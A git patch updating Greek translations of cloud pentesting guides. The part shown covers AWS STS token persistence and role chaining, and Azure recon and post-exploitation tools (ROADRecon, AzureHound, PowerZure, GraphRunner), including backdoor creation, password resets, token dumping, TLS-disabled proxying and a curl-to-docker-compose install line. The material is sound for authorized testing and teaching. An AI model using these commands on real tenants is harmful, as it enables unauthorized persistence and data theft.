From c86a193cb87450c8662f1c5872bdaaa43dc0786a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Jan 2025 17:45:19 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p --- .../aws-persistence/aws-sts-persistence.md | 10 +- src/pentesting-cloud/azure-security/README.md | 236 +---------------- .../azure-security/az-enumeration-tools.md | 243 +++++++++++++++++- .../az-arc-vulnerable-gpo-deploy-script.md | 24 +- .../README.md | 10 +- .../az-synchronising-new-users.md | 10 +- .../federation.md | 18 +- .../phs-password-hash-sync.md | 34 +-- .../pta-pass-through-authentication.md | 22 +- .../seamless-sso.md | 18 +- .../pass-the-prt.md | 32 +-- .../az-permissions-for-a-pentest.md | 4 +- .../azure-security/az-persistence/README.md | 30 +-- .../az-automation-accounts-privesc.md | 30 +-- ...-conditional-access-policies-mfa-bypass.md | 44 ++-- .../az-entraid-privesc/dynamic-groups.md | 16 +- ...az-virtual-machines-and-network-privesc.md | 8 +- .../azure-security/az-services/README.md | 6 +- .../azure-security/az-services/az-acr.md | 4 +- .../az-services/az-app-services.md | 44 ++-- .../az-services/az-application-proxy.md | 10 +- .../az-services/az-arm-templates.md | 8 +- .../az-services/az-automation-accounts.md | 34 +-- .../azure-security/az-services/az-azuread.md | 94 +++---- .../azure-security/az-services/az-cosmosDB.md | 20 +- .../az-services/az-file-shares.md | 20 +- .../azure-security/az-services/az-keyvault.md | 14 +- .../az-services/az-logic-apps.md | 16 +- .../azure-security/az-services/az-mysql.md | 32 +-- .../az-services/az-postgresql.md | 6 +- .../azure-security/az-services/az-sql.md | 38 +-- .../azure-security/az-services/az-storage.md | 52 ++-- .../az-services/az-table-storage.md | 12 +- .../azure-security/az-services/intune.md | 4 +- .../azure-security/az-services/vms/README.md | 38 +-- .../az-services/vms/az-azure-network.md | 74 +++--- .../README.md | 34 +-- .../az-password-spraying.md | 8 +- .../pentesting-cloud-methodology.md | 36 +-- .../gcds-google-cloud-directory-sync.md | 24 +- ...-google-credential-provider-for-windows.md | 52 ++-- .../gps-google-password-sync.md | 26 +- 42 files changed, 756 insertions(+), 739 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index cbea494bd..52906ae1a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -12,14 +12,14 @@ ### Assume role token -Οι προσωρινοί τόκεν δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκεν είναι ένας τρόπος για να διατηρηθεί η επιμονή. +Οι προσωρινοί τόκοι δεν μπορούν να καταγραφούν, επομένως η διατήρηση ενός ενεργού προσωρινού τόκου είναι ένας τρόπος για να διατηρηθεί η επιμονή.
aws sts get-session-token --duration-seconds 129600
 
 # Με MFA
 aws sts get-session-token \
---serial-number <mfa-device-name> \
---token-code <code-from-token>
+--serial-number  \
+--token-code 
 
 # Το όνομα της συσκευής υλικού είναι συνήθως ο αριθμός από την πίσω πλευρά της συσκευής, όπως GAHT12345678
 # Το όνομα της συσκευής SMS είναι το ARN στο AWS, όπως arn:aws:iam::123456789012:sms-mfa/username
@@ -28,7 +28,7 @@ aws sts get-session-token \
 
 ### Role Chain Juggling
 
-[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **υποθέτετε έναν ρόλο που στη συνέχεια υποθέτει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που υποτίθεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να υποθέτουν ο ένας τον άλλον, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων.
+[**Η αλυσίδα ρόλων είναι μια αναγνωρισμένη δυνατότητα του AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), που συχνά χρησιμοποιείται για τη διατήρηση της κρυφής επιμονής. Περιλαμβάνει την ικανότητα να **αναλαμβάνετε έναν ρόλο που στη συνέχεια αναλαμβάνει έναν άλλο**, ενδεχομένως επιστρέφοντας στον αρχικό ρόλο με **κυκλικό τρόπο**. Κάθε φορά που αναλαμβάνεται ένας ρόλος, το πεδίο λήξης των διαπιστευτηρίων ανανεώνεται. Ως εκ τούτου, εάν δύο ρόλοι είναι ρυθμισμένοι να αναλαμβάνουν ο ένας τον άλλο, αυτή η ρύθμιση επιτρέπει την αιώνια ανανέωση των διαπιστευτηρίων.
 
 Μπορείτε να χρησιμοποιήσετε αυτό το [**εργαλείο**](https://github.com/hotnops/AWSRoleJuggler/) για να διατηρήσετε την αλυσίδα ρόλων:
 ```bash
@@ -45,7 +45,7 @@ optional arguments:
 
Κώδικας για την εκτέλεση Role Juggling από το PowerShell -```powershell +```bash # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index a3e1b9500..f68f90517 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -92,7 +92,7 @@ az account management-group list #Not allowed by default {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant @@ -101,7 +101,7 @@ Get-AzureADTenantDetail {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι το **`Get-AzResource`** από το Az PowerShell, καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**. +> Ένα από τα πιο σημαντικά εντολές για την καταμέτρηση του Azure είναι **`Get-AzResource`** από το Az PowerShell καθώς σας επιτρέπει να **γνωρίζετε τους πόρους που έχει ο τρέχων χρήστης ορατούς**. > > Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες στην **ιστοσελίδα κονσόλας** πηγαίνοντας στο [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ή αναζητώντας "Όλοι οι πόροι" -### ENtra ID Enumeration +### Entra ID Enumeration -Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετά δικαιώματα για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς εκπροσώπους... (ελέγξτε [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\ +Από προεπιλογή, οποιοσδήποτε χρήστης θα πρέπει να έχει **αρκετά δικαιώματα για να καταμετρήσει** πράγματα όπως, χρήστες, ομάδες, ρόλους, υπηρεσιακούς εκπροσώπους... (ελέγξτε [προεπιλεγμένα δικαιώματα AzureAD](az-basic-information/index.html#default-user-permissions)).\ Μπορείτε να βρείτε εδώ έναν οδηγό: {{#ref}} @@ -134,12 +134,12 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **μην έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\ +> Τώρα που **έχετε κάποιες πληροφορίες σχετικά με τα διαπιστευτήριά σας** (και αν είστε red team ελπίζω να **δεν έχετε ανιχνευθεί**). Είναι καιρός να καταλάβετε ποιες υπηρεσίες χρησιμοποιούνται στο περιβάλλον.\ > Στην επόμενη ενότητα μπορείτε να ελέγξετε μερικούς τρόπους για να **καταμετρήσετε κάποιες κοινές υπηρεσίες.** ## App Service SCM -Kudu console για να συνδεθείτε στο 'container' της App Service. +Kudu console για να συνδεθείτε στο 'container' της Υπηρεσίας Εφαρμογών. ## Webshell @@ -149,226 +149,4 @@ Kudu console για να συνδεθείτε στο 'container' της App Serv Το Azure DevOps είναι ξεχωριστό από το Azure. Έχει αποθετήρια, pipelines (yaml ή release), πίνακες, wiki και άλλα. Οι Ομάδες Μεταβλητών χρησιμοποιούνται για να αποθηκεύουν τιμές μεταβλητών και μυστικά. -## Debug | MitM az cli - -Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που στέλνει το εργαλείο **`az`**: -```bash -az account management-group list --output table --debug -``` -Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να κάνετε: - -{{#tabs }} -{{#tab name="Bash" }} -```bash -export ADAL_PYTHON_SSL_NO_VERIFY=1 -export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -export HTTPS_PROXY="http://127.0.0.1:8080" -export HTTP_PROXY="http://127.0.0.1:8080" - -# If this is not enough -# Download the certificate from Burp and convert it into .pem format -# And export the following env variable -openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM -export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem -``` -{{#endtab }} - -{{#tab name="PS" }} -```bash -$env:ADAL_PYTHON_SSL_NO_VERIFY=1 -$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 -$env:HTTPS_PROXY="http://127.0.0.1:8080" -$env:HTTP_PROXY="http://127.0.0.1:8080" -``` -{{#endtab }} -{{#endtabs }} - -## Αυτόματα Εργαλεία Αναγνώρισης - -### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) -```powershell -cd ROADTools -pipenv shell -roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" -roadrecon gather -roadrecon gui -``` -### [Monkey365](https://github.com/silverhack/monkey365) -```powershell -Import-Module monkey365 -Get-Help Invoke-Monkey365 -Get-Help Invoke-Monkey365 -Detailed -Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue -Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML -``` -### [**Stormspotter**](https://github.com/Azure/Stormspotter) -```powershell -# Start Backend -cd stormspotter\backend\ -pipenv shell -python ssbackend.pyz - -# Start Front-end -cd stormspotter\frontend\dist\spa\ -quasar.cmd serve -p 9091 --history - -# Run Stormcollector -cd stormspotter\stormcollector\ -pipenv shell -az login -u test@corp.onmicrosoft.com -p Welcome2022! -python stormspotter\stormcollector\sscollector.pyz cli -# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) -``` -### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) -```powershell -# You need to use the Az PowerShell and Azure AD modules: -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) -Connect-AzAccount -Credential $creds - -Import-Module AzureAD\AzureAD.psd1 -Connect-AzureAD -Credential $creds - -# Launch AzureHound -. AzureHound\AzureHound.ps1 -Invoke-AzureHound -Verbose - -# Simple queries -## All Azure Users -MATCH (n:AZUser) return n.name -## All Azure Applications -MATCH (n:AZApp) return n.objectid -## All Azure Devices -MATCH (n:AZDevice) return n.name -## All Azure Groups -MATCH (n:AZGroup) return n.name -## All Azure Key Vaults -MATCH (n:AZKeyVault) return n.name -## All Azure Resource Groups -MATCH (n:AZResourceGroup) return n.name -## All Azure Service Principals -MATCH (n:AZServicePrincipal) return n.objectid -## All Azure Virtual Machines -MATCH (n:AZVM) return n.name -## All Principals with the ‘Contributor’ role -MATCH p = (n)-[r:AZContributor]->(g) RETURN p - -# Advanced queries -## Get Global Admins -MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p -## Owners of Azure Groups -MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p -## All Azure Users and their Groups -MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p -## Privileged Service Principals -MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p -## Owners of Azure Applications -MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p -## Paths to VMs -MATCH p = (n)-[r]->(g: AZVM) RETURN p -## Paths to KeyVault -MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p -## Paths to Azure Resource Group -MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p -## On-Prem users with edges to Azure -MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p -## All Azure AD Groups that are synchronized with On-Premise AD -MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n -``` -### [Azucar](https://github.com/nccgroup/azucar) -```bash -# You should use an account with at least read-permission on the assets you want to access -git clone https://github.com/nccgroup/azucar.git -PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - -PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 -PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - -# resolve the TenantID for an specific username -PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com -``` -### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) -``` -Import-Module .\MicroBurst.psm1 -Import-Module .\Get-AzureDomainInfo.ps1 -Get-AzureDomainInfo -folder MicroBurst -Verbose -``` -### [**PowerZure**](https://github.com/hausec/PowerZure) -```powershell -Connect-AzAccount -ipmo C:\Path\To\Powerzure.psd1 -Get-AzureTarget - -# Reader -$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails - -# Contributor -$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" -$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" -$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents -$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk - -# Owner -$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest - -# Administrator -$ Create-Backdoor, Execute-Backdoor -``` -### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) -```powershell - -#Get-GraphTokens -#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) -Import-Module .\GraphRunner.ps1 -Get-GraphTokens - -#Invoke-GraphRecon -#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-GraphRecon -Tokens $tokens -PermissionEnum - -#Invoke-DumpCAPS -#A module to dump conditional access policies from a tenant. -Invoke-DumpCAPS -Tokens $tokens -ResolveGuids - -#Invoke-DumpApps -#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. -Invoke-DumpApps -Tokens $tokens - -#Get-AzureADUsers -#Gather the full list of users from the directory. -Get-AzureADUsers -Tokens $tokens -OutFile users.txt - -#Get-SecurityGroups -#Create a list of security groups along with their members. -Get-SecurityGroups -AccessToken $tokens.access_token - -G#et-UpdatableGroups -#Gets groups that may be able to be modified by the current user -Get-UpdatableGroups -Tokens $tokens - -#Get-DynamicGroups -#Finds dynamic groups and displays membership rules -Get-DynamicGroups -Tokens $tokens - -#Get-SharePointSiteURLs -#Gets a list of SharePoint site URLs visible to the current user -Get-SharePointSiteURLs -Tokens $tokens - -#Invoke-GraphOpenInboxFinder -#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. -Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt - -#Get-TenantID -#This module attempts to gather a tenant ID associated with a domain. -Get-TenantID -Domain - -#Invoke-GraphRunner -#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. -Invoke-GraphRunner -Tokens $tokens -``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index fbe06e40a..219b0fd57 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -103,11 +103,11 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ```bash Get-AzResourceGroup -Debug ``` -Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ρυθμίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ορίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Το Microsoft Graph PowerShell είναι ένα SDK πολλαπλών πλατφορμών που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τα τελευταία χαρακτηριστικά του Microsoft Graph API. +Το Microsoft Graph PowerShell είναι ένα SDK διαλειτουργικότητας που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τις τελευταίες δυνατότητες του Microsoft Graph API. Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -128,4 +128,243 @@ Get-MgUser -Debug Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://www.powershellgallery.com/packages/AzureAD). +## Automated Recon & Compliance Tools + +### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) + +Το Turbot με το steampipe και powerpipe επιτρέπει τη συλλογή πληροφοριών από το Azure και το Entra ID και την εκτέλεση ελέγχων συμμόρφωσης και την εύρεση κακών ρυθμίσεων. Τα πιο συνιστώμενα Azure modules που πρέπει να εκτελούνται είναι: + +- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) +- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) +- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) +```bash +# Install +brew install turbot/tap/powerpipe +brew install turbot/tap/steampipe +steampipe plugin install azure +steampipe plugin install azuread + +# Config creds via env vars or az cli default creds will be used +export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" +export AZURE_TENANT_ID="" +export AZURE_SUBSCRIPTION_ID="" +export AZURE_CLIENT_ID="" +export AZURE_CLIENT_SECRET="" + +# Run steampipe-mod-azure-insights +cd /tmp +mkdir dashboards +cd dashboards +powerpipe mod init +powerpipe mod install github.com/turbot/steampipe-mod-azure-insights +steampipe service start +powerpipe server +# Go to http://localhost:9033 in a browser +``` +### [Prowler](https://github.com/prowler-cloud/prowler) + +Το Prowler είναι ένα εργαλείο ανοιχτού κώδικα για την εκτέλεση αξιολογήσεων, ελέγχων, αντίκτυπου περιστατικών, συνεχούς παρακολούθησης, σκληραγώγησης και ετοιμότητας για εγκληματολογική ανάλυση σχετικά με τις καλύτερες πρακτικές ασφάλειας για AWS, Azure, Google Cloud και Kubernetes. + +Βασικά, θα μας επιτρέψει να εκτελέσουμε εκατοντάδες ελέγχους σε ένα περιβάλλον Azure για να βρούμε παραμορφώσεις ασφάλειας και να συγκεντρώσουμε τα αποτελέσματα σε json (και άλλες μορφές κειμένου) ή να τα ελέγξουμε στο διαδίκτυο. +```bash +# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app + +# Launch web with docker-compose +export DOCKER_DEFAULT_PLATFORM=linux/amd64 +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml +curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env +## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" +docker compose up -d +# Access the web and configure the access to run a scan from it + +# Prowler cli +python3 -m pip install prowler --break-system-packages +docker run --rm toniblyx/prowler:v4-latest azure --list-checks +docker run --rm toniblyx/prowler:v4-latest azure --list-services +docker run --rm toniblyx/prowler:v4-latest azure --list-compliance +docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth +## It also support other authentication types, check: prowler azure --help +``` +### [Monkey365](https://github.com/silverhack/monkey365) + +Επιτρέπει την αυτόματη εκτέλεση ελέγχων ασφαλείας για τις συνδρομές Azure και το Microsoft Entra ID. + +Οι αναφορές HTML αποθηκεύονται στον φάκελο `./monkey-reports` μέσα στον φάκελο του αποθετηρίου github. +```bash +git clone https://github.com/silverhack/monkey365 +Get-ChildItem -Recurse monkey365 | Unblock-File +cd monkey365 +Import-Module ./monkey365 +mkdir /tmp/monkey365-scan +cd /tmp/monkey365-scan + +Get-Help Invoke-Monkey365 +Get-Help Invoke-Monkey365 -Detailed + +# Scan with user creds (browser will be run) +Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML + +# Scan with App creds +$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force +Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML +``` +### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) + +Το Scout Suite συγκεντρώνει δεδομένα διαμόρφωσης για χειροκίνητη επιθεώρηση και επισημαίνει περιοχές κινδύνου. Είναι ένα εργαλείο ελέγχου ασφαλείας πολλαπλών σύννεφων, το οποίο επιτρέπει την αξιολόγηση της ασφάλειας των περιβαλλόντων σύννεφου. +```bash +virtualenv -p python3 venv +source venv/bin/activate +pip install scoutsuite +scout --help + +# Use --cli flag to use az cli credentials +# Use --user-account to have scout prompt for user credentials +# Use --user-account-browser to launch a browser to login +# Use --service-principal to have scout prompt for app credentials + +python scout.py azure --cli +``` +### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) + +Είναι ένα script PowerShell που σας βοηθά να **οπτικοποιήσετε όλους τους πόρους και τις άδειες μέσα σε μια Ομάδα Διαχείρισης και το tenant Entra ID** και να βρείτε παραλείψεις ασφαλείας. + +Λειτουργεί χρησιμοποιώντας το module Az PowerShell, οπότε οποιαδήποτε αυθεντικοποίηση υποστηρίζεται από αυτό το εργαλείο υποστηρίζεται από το εργαλείο. +```bash +import-module Az +.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] +``` +## Automated Post-Exploitation tools + +### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) + +Η καταμέτρηση του ROADRecon προσφέρει πληροφορίες σχετικά με τη διαμόρφωση του Entra ID, όπως χρήστες, ομάδες, ρόλοι, πολιτικές πρόσβασης με όρους... +```bash +cd ROADTools +pipenv shell +# Login with user creds +roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" +# Login with app creds +roadrecon auth --as-app --client "" --password "" --tenant "" +roadrecon gather +roadrecon gui +``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +Λανσάρετε το **BloodHound** web με **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** και εισάγετε το αρχείο `output.json`. + +Στη συνέχεια, στην καρτέλα **EXPLORE**, στην ενότητα **CYPHER** μπορείτε να δείτε ένα εικονίδιο **φακέλου** που περιέχει προ-κατασκευασμένα ερωτήματα. + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +Το MicroBurst περιλαμβάνει λειτουργίες και σενάρια που υποστηρίζουν την ανακάλυψη Υπηρεσιών Azure, τον έλεγχο αδύνατης διαμόρφωσης και ενέργειες μετά την εκμετάλλευση όπως η εξαγωγή διαπιστευτηρίων. Σκοπός του είναι να χρησιμοποιείται κατά τη διάρκεια δοκιμών διείσδυσης όπου χρησιμοποιείται το Azure. +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +Το PowerZure δημιουργήθηκε από την ανάγκη για ένα πλαίσιο που μπορεί να εκτελεί τόσο αναγνώριση όσο και εκμετάλλευση του Azure, EntraID και των σχετικών πόρων. + +Χρησιμοποιεί το **Az PowerShell** module, οπότε οποιαδήποτε αυθεντικοποίηση υποστηρίζεται από αυτό το εργαλείο υποστηρίζεται από το εργαλείο. +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +Το GraphRunner είναι ένα εργαλείο μετά την εκμετάλλευση για αλληλεπίδραση με το Microsoft Graph API. Παρέχει διάφορα εργαλεία για την εκτέλεση αναγνώρισης, επιμονής και λεηλασίας δεδομένων από έναν λογαριασμό Microsoft Entra ID (Azure AD). +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt 